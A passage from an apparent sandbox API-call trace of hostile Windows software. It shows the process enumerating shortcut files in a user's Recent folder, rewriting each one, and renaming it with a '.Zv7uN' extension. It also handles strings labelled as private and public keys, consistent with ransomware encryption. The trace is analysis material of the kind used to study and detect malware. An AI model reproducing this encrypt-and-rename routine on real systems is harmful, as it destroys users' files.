out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x96a, lpOverlapped=0x0) returned 1 [0083.675] CloseHandle (hObject=0x124) returned 1 [0083.675] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tz0VN5KTRkT.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\tz0vn5ktrkt.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.676] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x96a, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x96a, lpOverlapped=0x0) returned 1 [0083.677] CloseHandle (hObject=0x124) returned 1 [0083.679] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tz0VN5KTRkT.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\tz0vn5ktrkt.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tz0VN5KTRkT.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\tz0vn5ktrkt.lnk.zv7un")) returned 1 [0083.680] GetCurrentThreadId () returned 0xa30 [0083.680] GetCurrentThreadId () returned 0xa30 [0083.680] GetCurrentThreadId () returned 0xa30 [0083.680] GetCurrentThreadId () returned 0xa30 [0083.680] GetCurrentThreadId () returned 0xa30 [0083.680] GetCurrentThreadId () returned 0xa30 [0083.680] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f2d520, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1f2d520, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1f2d520, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x14b4, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="u5qNSJVfv61OV8 Tl4.lnk", cAlternateFileName="U5QNSJ~1.LNK")) returned 1 [0083.680] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0083.680] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0083.680] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\u5qNSJVfv61OV8 Tl4.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\u5qnsjvfv61ov8 tl4.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f2d520, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1f2d520, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1f2d520, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x14b4)) returned 1 [0083.681] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\u5qNSJVfv61OV8 Tl4.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\u5qnsjvfv61ov8 tl4.lnk")) returned 0x20 [0083.681] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\u5qNSJVfv61OV8 Tl4.lnk", dwFileAttributes=0x80) returned 1 [0083.683] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0083.683] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0083.685] GetCurrentThreadId () returned 0xa30 [0083.685] GetCurrentThreadId () returned 0xa30 [0083.685] GetCurrentThreadId () returned 0xa30 [0083.685] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0083.685] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0083.686] GetCurrentThreadId () returned 0xa30 [0083.686] GetCurrentThreadId () returned 0xa30 [0083.686] GetCurrentThreadId () returned 0xa30 [0083.686] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\u5qNSJVfv61OV8 Tl4.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\u5qnsjvfv61ov8 tl4.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.686] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0083.686] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.686] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x14b4 [0083.686] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.687] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x14b4, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x14b4, lpOverlapped=0x0) returned 1 [0083.688] CloseHandle (hObject=0x124) returned 1 [0083.688] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\u5qNSJVfv61OV8 Tl4.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\u5qnsjvfv61ov8 tl4.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.690] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x14b4, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x14b4, lpOverlapped=0x0) returned 1 [0083.691] CloseHandle (hObject=0x124) returned 1 [0083.726] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\u5qNSJVfv61OV8 Tl4.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\u5qnsjvfv61ov8 tl4.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\u5qNSJVfv61OV8 Tl4.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\u5qnsjvfv61ov8 tl4.lnk.zv7un")) returned 1 [0083.728] GetCurrentThreadId () returned 0xa30 [0083.728] GetCurrentThreadId () returned 0xa30 [0083.728] GetCurrentThreadId () returned 0xa30 [0083.728] GetCurrentThreadId () returned 0xa30 [0083.728] GetCurrentThreadId () returned 0xa30 [0083.728] GetCurrentThreadId () returned 0xa30 [0083.728] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d6528e0, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d6528e0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d6528e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x270, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="UEeyhCQ0rsUi-3-nJSm.lnk", cAlternateFileName="UEEYHC~1.LNK")) returned 1 [0083.728] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0083.728] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0083.728] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UEeyhCQ0rsUi-3-nJSm.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ueeyhcq0rsui-3-njsm.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d6528e0, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d6528e0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d6528e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x270)) returned 1 [0083.728] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UEeyhCQ0rsUi-3-nJSm.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ueeyhcq0rsui-3-njsm.lnk")) returned 0x20 [0083.728] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS 